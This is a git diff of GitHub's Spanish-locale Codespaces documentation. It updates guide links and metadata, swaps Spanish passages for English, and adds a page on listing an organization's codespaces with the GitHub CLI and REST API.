allowTitleToDifferFromFilename: true layout: product-guides @@ -18,16 +17,18 @@ includeGuides: - /codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines - /codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository - /codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge - - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project + - /codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account - - /codespaces/developing-in-codespaces/creating-a-codespace + - /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository + - /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template - /codespaces/developing-in-codespaces/developing-in-a-codespace - /codespaces/developing-in-codespaces/deleting-a-codespace - /codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace - /codespaces/developing-in-codespaces/opening-an-existing-codespace - /codespaces/developing-in-codespaces/stopping-and-starting-a-codespace - - /codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code - - /codespaces/developing-in-codespaces/using-codespaces-with-github-cli + - /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code + - /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide + - /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli - /codespaces/developing-in-codespaces/using-source-control-in-your-codespace - /codespaces/developing-in-codespaces/using-codespaces-for-pull-requests - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace @@ -55,11 +56,11 @@ includeGuides: - /codespaces/codespaces-reference/using-the-command-palette-in-codespaces - /codespaces/codespaces-reference/disaster-recovery-for-codespaces - /codespaces/codespaces-reference/security-in-codespaces -ms.openlocfilehash: 24bf08da053efd9f822b1eb43bacbbe822c1ba8b -ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.openlocfilehash: e11e89910b01bc3656cfc2982f13d48f99ee72b6 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/27/2022 -ms.locfileid: '148113901' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159193' --- diff --git a/translations/es-ES/content/codespaces/index.md b/translations/es-ES/content/codespaces/index.md index 62d1ee1595..22254963fb 100644 --- a/translations/es-ES/content/codespaces/index.md +++ b/translations/es-ES/content/codespaces/index.md @@ -8,22 +8,26 @@ introLinks: featuredLinks: guides: - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization - - /codespaces/developing-in-codespaces/codespaces-lifecycle + - /codespaces/developing-in-codespaces/the-codespace-lifecycle - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project - /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces - /billing/managing-billing-for-github-codespaces/about-billing-for-codespaces guideCards: - /codespaces/getting-started/deep-dive - - /codespaces/developing-in-codespaces/creating-a-codespace + - /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository + - /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template - /codespaces/developing-in-codespaces/opening-an-existing-codespace - - /codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account + - /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code + - /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide popular: - /codespaces/getting-started-with-codespaces/getting-started-with-your-nodejs-project-in-codespaces - /codespaces/getting-started-with-codespaces/getting-started-with-your-python-project-in-codespaces - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project popularHeading: Set up your project +changelog: + label: codespaces product_video: 'https://www.youtube-nocookie.com/embed/_W9B7qc9lVc' communityRedirect: name: Provide GitHub Feedback @@ -49,11 +53,11 @@ children: - /troubleshooting - /the-githubdev-web-based-editor - /guides -ms.openlocfilehash: 078b2c2ba743f2332ffda5a03ba9b0589cfdd12c -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.openlocfilehash: 62723c1d4bf684e67420149c96586a91e7583031 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147652633' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160438' --- diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md index 4564093716..914857fdef 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md @@ -1,9 +1,8 @@ --- title: Enabling GitHub Codespaces for your organization shortTitle: 'Enable {% data variables.product.prodname_codespaces %}' -intro: 'You can control which users in your organization can use {% data variables.product.prodname_github_codespaces %} at the organization''s expense.' -product: '{% data reusables.gated-features.codespaces %}' -permissions: 'To alter an organization''s billing settings, you must be an organization owner.' +intro: "You can control which users in your organization can use {% data variables.product.prodname_github_codespaces %} at the organization's expense." +permissions: "To alter an organization's billing settings, you must be an organization owner." redirect_from: - /codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization @@ -19,9 +18,9 @@ topics: ## About enabling {% data variables.product.prodname_github_codespaces %} for your organization -Organization owners can control which users in your organization can create and use codespaces at the organization's expense. For information about pricing, see "[About billing for GitHub Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." +Organization owners can control which users in your organization can create and use codespaces at the organization's expense. For information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." -Only people who can clone a repository can create a codespace for that repository. To allow people to create codespaces for repositories owned by your organization, you must: +Only people who can either push changes to a repository, or fork the repository, can create a codespace for that repository. To allow people to create codespaces for repositories owned by your organization, you must: - Ensure that users have at least write access to the repositories where they want to use a codespace. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)." - Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} @@ -34,7 +33,7 @@ To allow people to create codespaces for which your organization will be billed, {% ifversion fpt %} {% note %} -**Note:** If you are a verified educator or a teacher, you must enable {% data variables.product.prodname_codespaces %} from a {% data variables.product.prodname_classroom %} to use your {% data variables.product.prodname_codespaces %} Education benefit. For more information, see "[Using GitHub Codespaces with GitHub Classroom](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers)." +**Note:** If you are a verified educator or a teacher, you must enable {% data variables.product.prodname_github_codespaces %} from a {% data variables.product.prodname_classroom %} to use your {% data variables.product.prodname_codespaces %} Education benefit. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers)." {% endnote %} {% endif %} diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md index 10d3c2daa5..05bf754d62 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md @@ -1,8 +1,8 @@ --- -title: Managing Codespaces for your organization +title: Managing GitHub Codespaces for your organization +allowTitleToDifferFromFilename: true shortTitle: Managing your organization -intro: 'Puedes administrar y revisar la forma en que los usuarios de tu organización pueden utilizar {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' +intro: 'You can manage and review how users in your organization can use {% data variables.product.prodname_github_codespaces %}.' versions: fpt: '*' ghec: '*' @@ -20,11 +20,5 @@ children: - /restricting-the-visibility-of-forwarded-ports - /restricting-the-idle-timeout-period - /restricting-the-retention-period-for-codespaces -ms.openlocfilehash: 98b47ce0337b3309c8318eebef001455a3ec5e52 -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147865157' --- - + diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md new file mode 100644 index 0000000000..10e2e88b4e --- /dev/null +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md @@ -0,0 +1,53 @@ +--- +title: Listing the codespaces in your organization +shortTitle: List organization codespaces +intro: 'You can list all of the currently active or stopped codespaces for your organization.' +permissions: 'To list all of the current codespaces for your organization, you must be an organization owner.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Administrator +--- + +## Overview + +As an organization owner, you can list all of the currently active and stopped codespaces for your organization. You might want to do this to check how many codespaces users are creating, to make sure they aren't incurring unnecessary costs. For information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." + +The easiest way to list the codespaces for an organization is by using {% data variables.product.prodname_cli %}. You can also use the REST API, which provides more information about each codespace. + +For information on how to see the current total {% data variables.product.prodname_codespaces %} usage for your organization or enterprise, and generate a detailed report, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)." + +### Using {% data variables.product.prodname_cli %} to list codespaces + +To list all of the current codespaces for a specified organization, use the following command. + +```shell{:copy} +gh codespace list --org ORGANIZATION +``` + +This command returns a list that includes the following information for each codespace: + - The name and display name + - The user who created the codespace + - The repository and branch + - The current state of the codespace + +To list all of the current codespaces for an organization that were created by a specific user, use the following command. + +```shell{:copy} +gh codespace list --org ORGANIZATION --user USER +``` + +{% note %} + +**Note**: In the above commands, replace `ORGANIZATION` with the name of the organization you are querying. You must be an owner of the organization. + +{% endnote %} + +### Using the REST API to list codespaces + +You can use the `/orgs/{org}/codespaces` API endpoint as an alternative method of listing the current codespaces for an organization. This returns more information than {% data variables.product.prodname_cli %}; for example, the machine type details. + +For more information about this endpoint, see "[Codespaces organizations](/rest/codespaces/organizations#list-codespaces-for-the-organization)." diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md index f2507b7be9..43595bbc4d 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md @@ -2,7 +2,6 @@ title: Managing encrypted secrets for your repository and organization for GitHub Codespaces shortTitle: Encrypted secrets intro: 'Encrypted secrets allow you to store sensitive information in your organization, repository, or {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage secrets for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.' versions: fpt: '*' diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md index fd55f68d04..639cc2acac 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md @@ -1,8 +1,7 @@ --- -title: Administrar el acceso de los codespaces de tu organización a los repositorios +title: Managing repository access for your organization's codespaces shortTitle: Repository access -intro: 'Puedes administrar los repositorios de tu organización a los cuales pueden acceder a {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' +intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_github_codespaces %} can access.' permissions: 'To manage access and security for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.' versions: fpt: '*' @@ -16,29 +15,26 @@ redirect_from: - /codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces - /github/developing-online-with-codespaces/managing-access-and-security-for-codespaces - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces -ms.openlocfilehash: e7e363268d1c7ff95937457e5bf3973e2abd4f8f -ms.sourcegitcommit: 034fc1834824c2b07adf5127de52429296fdbb52 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 07/28/2022 -ms.locfileid: '147431460' --- + {% warning %} -**Nota de desuso**: La configuración de acceso y seguridad que se describe a continuación está en desuso y se documentada aquí solo como referencia. Para habilitar el acceso expandido a otros repositorios, agrega los permisos solicitados a la definición del contenedor de desarrollo. Para obtener más información, consulta "[Administración del acceso a otros repositorios del codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)". +**Deprecation note**: The access and security setting described below is now deprecated and is documented here for reference only. To enable expanded access to other repositories, add the requested permissions to your `devcontainer.json` configuration file. For more information, see "[Managing access to other repositories within your codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)." {% endwarning %} -Predeterminadamente, un codespace solo puede acceer al repositorio en donde se creó. Cuando habilitas el acceso y la seguridad de un repositorio que pertenece a tu organización, cualquier codespace que se cree para dicho repositorio también tendrá permisos de lectura en el resto de los repositorios que pertenezcan a esa misma organización y a los cuales pueda acceder el creador de dicho codespace. Si quieres restringir los repositorios a los cuales puede acceder un codespace, puedes limitarlos a ya sea el repositorio en donde se creó el codespace o a algunos repositorios específicos. Solo debes habilitar el acceso y la seguridad para los repositorios en los cuales confíes. +By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust. -Para administrar qué usuarios de tu organización pueden usar {% data variables.product.prodname_github_codespaces %}, consulta "[Habilitación de GitHub Codespaces en la organización](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)". +To manage which users in your organization can use {% data variables.product.prodname_github_codespaces %}, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)." -{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. Debajo de "Acceso y seguridad", selecciona la configuración que quieras para tu organización. - ![Botones de radio para administrar los repositorios de confianza](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) -1. Si eliges "Repositorios seleccionados"; entonces selecciona el menú desplegable y da clic en un repositorio para permitir que los codespaces de éste accedan al resto de los repositorios que pertenecen a tu organización. Repite esto para todos los repositorios cuyos codespaces quieras que accedan al resto de los repositorios. - ![Menú desplegable "Selected repositories" (Repositorios seleccionados)](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.click-codespaces %} +1. Under "Access and security", select the setting you want for your organization. + ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) +1. If you chose "Selected repositories", select the dropdown menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories. + !["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) -## Información adicional +## Further reading -- "[Administración del acceso a los repositorios para los codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)" +- "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)" diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md index 7e52316c87..6d19604ad4 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md @@ -2,7 +2,6 @@ title: Restricting access to machine types shortTitle: Restrict machine types intro: You can set constraints on the types of machines users can choose when they create codespaces in your organization. -product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage access to machine types for the repositories in an organization, you must be an owner of the organization.' versions: fpt: '*' @@ -14,7 +13,7 @@ topics: ## Overview -Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." +Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much your are billed. The compute cost for a codespace is proportional to the number of processor cores in the machine type you choose. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine. For more information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." @@ -88,4 +87,4 @@ You can edit an existing policy. For example, you may want to add or remove cons ## Further reading -- "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)" +- "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)" diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md index db81c6347d..28aec3606f 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md @@ -2,7 +2,6 @@ title: Restricting the idle timeout period shortTitle: Restrict timeout periods intro: You can set a maximum timeout period for any codespaces owned by your organization. -product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage timeout constraints for an organization''s codespaces, you must be an owner of the organization.' versions: fpt: '*' diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md index f49dd49a4a..37668e6931 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md @@ -2,7 +2,6 @@ title: Restricting the retention period for codespaces shortTitle: Restrict the retention period intro: You can set a maximum retention period for any codespaces owned by your organization. -product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage retention constraints for an organization''s codespaces, you must be an owner of the organization.' versions: fpt: '*' diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md index 74c626756f..a6e15aa254 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md @@ -2,7 +2,6 @@ title: Restricting the visibility of forwarded ports shortTitle: Restrict port visibility intro: You can set constraints on the visibility options users can choose when they forward ports from codespaces in your organization. -product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage access to port visibility constraints for the repositories in an organization, you must be an owner of the organization.' versions: fpt: '*' diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md index 6425b661df..4dc53ccac7 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md @@ -2,7 +2,6 @@ title: Reviewing your organization's audit logs for GitHub Codespaces shortTitle: Audit logs intro: 'You can use the audit log to review all actions related to {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -26,3 +25,4 @@ The audit log includes details such as who performed the action, what the action ## Further reading - "[Reviewing your security logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces)" +- "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)" diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/index.md b/translations/es-ES/content/codespaces/managing-your-codespaces/index.md index 8ab36bf1d8..6ddd847aef 100644 --- a/translations/es-ES/content/codespaces/managing-your-codespaces/index.md +++ b/translations/es-ES/content/codespaces/managing-your-codespaces/index.md @@ -1,7 +1,6 @@ --- title: Administrar tus codespaces intro: 'Puedes utilizar los ajustes de {% data variables.product.prodname_github_codespaces %} para administrar la información que pudiera necesitar tu codespace.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -14,11 +13,11 @@ children: - /managing-repository-access-for-your-codespaces - /reviewing-your-security-logs-for-github-codespaces - /managing-gpg-verification-for-github-codespaces -ms.openlocfilehash: 6c72368956f8b9904e8451b3afd12e34344841a0 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: e038653047ef1d8ccb7e4a2237c2d6149e7593c9 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147111294' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159996' --- diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md index 07be49175c..6a2cc72fd6 100644 --- a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md @@ -1,7 +1,6 @@ --- title: Managing encrypted secrets for your codespaces intro: 'You can store sensitive information, like tokens, that you want to access in your codespaces via environment variables.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -24,12 +23,12 @@ shortTitle: Encrypted secrets You can add encrypted secrets to your personal account that you want to use in your codespaces. For example, you may want to store and access the following sensitive information as encrypted secrets. -- {% data variables.product.pat_generic %}s to cloud services +- Access tokens to cloud services - Service principals - Subscription identifiers - [Credentials for a private image registry](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry) -You can choose which repositories should have access to each secret. Then, you can use the secret in any codespace you create for a repository that has access to the secret. +You can choose which repositories should have access to each secret. Then, you can use the secret in any codespace you create for a repository that has access to the secret. To share a secret with a codespace created from a template, you will need to publish the codespace to a repository on {% data variables.product.prodname_dotcom %}, then give that repository access to the secret. {% data reusables.codespaces.secrets-on-start %} diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md index a9c7a80126..0e56df0843 100644 --- a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md @@ -1,7 +1,6 @@ --- title: Managing GPG verification for GitHub Codespaces intro: 'You can allow {% data variables.product.company_short %} to automatically use GPG to sign commits you make in your codespaces, so other people can be confident that the changes come from a trusted source.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -27,8 +26,8 @@ Once you enable GPG verification, it will immediately take effect for all your c {% data reusables.user-settings.codespaces-tab %} 1. Under "GPG verification", select the setting you want for GPG verification. ![Radio buttons to manage GPG verification](/assets/images/help/settings/codespaces-gpg-verification-radio-buttons.png) -1. If you chose "Selected repositories", select the drop-down menu, then click a repository you want enable GPG verification for. Repeat for all repositories you want to enable GPG verification for. - !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-gpg-verification-repository-drop-down.png) +1. If you chose "Selected repositories", select the dropdown menu, then click a repository you want enable GPG verification for. Repeat for all repositories you want to enable GPG verification for. + !["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-gpg-verification-repository-drop-down.png) {% note %} diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md index 8dabed3b84..4519c40fd5 100644 --- a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md @@ -3,7 +3,6 @@ title: Managing access to other repositories within your codespace allowTitleToDifferFromFilename: true shortTitle: Repository access intro: 'You can manage the repositories that {% data variables.product.prodname_github_codespaces %} can access.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -16,7 +15,7 @@ redirect_from: ## Overview -By default, your codespace is assigned a token scoped to the repository from which it was created. For more information, see "[Security in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces#authentication)." If your project needs additional permissions for other repositories, you can configure this in the `devcontainer.json` file and ensure other collaborators have the right set of permissions. +By default, your codespace is assigned a token scoped to the repository from which it was created. When you publish a codespace that you created from a template to a new repository on {% data variables.product.product_name %}, the codespace is assigned a token scoped to the new repository. For more information, see "[Security in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces#authentication)." If your project needs additional permissions for other repositories, you can configure this in the `devcontainer.json` file and ensure other collaborators have the right set of permissions. When permissions are listed in the `devcontainer.json` file, you will be prompted to review and authorize the additional permissions as part of codespace creation for that repository. Once you've authorized the listed permissions, {% data variables.product.prodname_github_codespaces %} will remember your choice and will not prompt you for authorization unless the permissions in the `devcontainer.json` file change. @@ -129,6 +128,6 @@ When you enable access and security for a repository owned by your personal acco ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-access-and-security-radio-buttons.png) -1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories you own. Repeat for all repositories whose codespaces you want to access other repositories you own. +1. If you chose "Selected repositories", select the dropdown menu, then click a repository to allow the repository's codespaces to access other repositories you own. Repeat for all repositories whose codespaces you want to access other repositories you own. - !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) + !["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md b/translations/es-ES/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md index db6fc971b2..475292c833 100644 --- a/translations/es-ES/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md @@ -2,7 +2,6 @@ title: Reviewing your security logs for GitHub Codespaces shortTitle: Security logs intro: 'You can use the security log to review all actions related to {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -27,3 +26,4 @@ The security log includes details on what action occurred and when you performed ## Further reading - "[Reviewing your organization's audit logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces)" +- "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)" \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/overview.md b/translations/es-ES/content/codespaces/overview.md index e0494d19cb..65dfd80a81 100644 --- a/translations/es-ES/content/codespaces/overview.md +++ b/translations/es-ES/content/codespaces/overview.md @@ -1,7 +1,6 @@ --- title: GitHub Codespaces overview shortTitle: 